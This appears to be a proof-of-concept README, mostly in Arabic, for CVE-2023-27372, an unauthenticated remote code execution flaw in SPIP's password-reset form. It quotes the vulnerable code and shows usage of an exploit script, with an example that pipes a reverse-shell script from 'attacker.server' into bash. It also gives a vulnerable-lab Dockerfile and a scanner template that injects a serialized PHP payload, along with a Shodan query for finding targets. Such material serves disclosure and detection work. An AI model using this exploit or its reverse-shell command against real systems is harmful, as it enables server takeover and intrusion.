nuts7/cve-2023-27372SPIP قبل الإصدار 4.2.1 يسمح بتنفيذ الأوامر عن بعد (Remote Code Execution) عبر قيم النماذج في المنطقة العامة بسبب سوء التعامل مع التسلسل (serialization). الإصدارات المُصححة هي 3.2.18 و 4.0.10 و 4.1.8 و 4.2.1.
SPIP قبل الإصدار 4.2.1 يسمح بتنفيذ الأوامر عن بُعد عبر قيم النماذج في المنطقة العامة بسبب سوء التعامل مع التسلسل. الإصدارات المُصححة هي 3.2.18 و4.0.10 و4.1.8 و4.2.1.
يستغل هذا الـ PoC حقن كود PHP في SPIP. الثغرة موجودة في المعامل oubli وتسمح لمستخدم غير مُوثق بتنفيذ أوامر عشوائية بصلاحيات مستخدم الويب. الفروع المعنية هي 3.2 و4.0 و4.1 و4.2. الإصدارات الضعيفة هي <3.2.18 و<4.0.10 و<4.1.18 و<4.2.1.
تستغل هذه الثغرة خللين لسوء استخدام دالة تنقية متغيرات متساهلة جداً بهدف حقن كود PHP:
<!-- File : /squelettes-dist/formulaires/oubli.html -->
<input[ (#HTML5|?{type="email" class="text email" autofocus="autofocus" required="required",type="text" class="text"})] name='oubli' id='oubli' value="#ENV**{oubli}" autocapitalize="off" autocorrect="off" />
<!-- File : /ecrire/balise/formulaire_.php -->
if ((preg_match(",^[abis]:\d+[:;],", $texte) and @unserialize($texte) != false) or is_null($texte)) {
return $texte; // $texte = $_POST['oubli']
من الممكن حقن سلسلة PHP مُسلسلة تحتوي على كود PHP في المتغير $_POST['oubli'] عند إعادة تعيين كلمة المرور على المسار /spip.php?page=spip_pass لتحقيق تنفيذ أوامر عن بُعد على الخادم.
مثال يدوي:
❯ ./CVE-2023-27372.py -h
usage: CVE-2023-27372.py [-h] -u URL -c COMMAND [-v]
Poc of CVE-2023-27372 SPIP < 4.2.1 - Remote Code Execution by nuts7
options:
-h, --help show this help message and exit
-u URL, --url URL SPIP application base URL
-c COMMAND, --command COMMAND
Command to execute
-v, --verbose Verbose mode. (default: False)
./CVE-2023-27372.py -u https://spip.local.com -c 'curl https://attacker.server/revshell.sh|bash' -v
Dockerfile:
FROM ubuntu:20.04 as base
ARG DEBIAN_FRONTEND=noninteractive
RUN apt-get update && apt-get install -y \
php \
php-xml \
php-zip \
php-sqlite3 \
unzip
ADD https://files.spip.net/spip/archives/spip-v4.2.0.zip /tmp/
RUN unzip /tmp/spip-v4.2.0.zip -d /var/www/
RUN cd /var/www/ && php -S 0.0.0.0:8000
id: CVE-2023-27372
info:
name: SPIP - Remote Command Execution
author: DhiyaneshDK,nuts7
severity: critical
description: |
SPIP before 4.2.1 allows Remote Code Execution via form values in the public area because serialization is mishandled. The fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1.
reference:
- https://packetstormsecurity.com/files/171921/SPIP-Remote-Command-Execution.html
- https://nvd.nist.gov/vuln/detail/CVE-2023-27372
- https://github.com/nuts7/CVE-2023-27372
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-27372
metadata:
max-request: 1
shodan-query: html:"spip.php?page=backend"
verified: "true"
tags: cve,cve2023,spip,rce
http:
- raw:
- |
GET /spip.php?page=spip_pass HTTP/1.1
Host: {{Hostname}}
- |
POST /spip.php?page=spip_pass HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
page=spip_pass&formulaire_action=oubli&formulaire_action_args={{csrf}}&oubli=s:19:"<?php phpinfo(); ?>";
matchers-condition: and
matchers:
- type: word
part: body_2
words:
- "PHP Extension"
- "PHP Version"
- "<!DOCTYPE html"
condition: and
- type: status
status:
- 200
extractors:
- type: regex
name: csrf
group: 1
internal: true
part: body_1
regex:
- "name='formulaire_action_args'[^>]*value='([^']*)'"
- type: regex
part: body_2
group: 1
regex:
- '>PHP Version <\/td><td class="v">([0-9.]+)'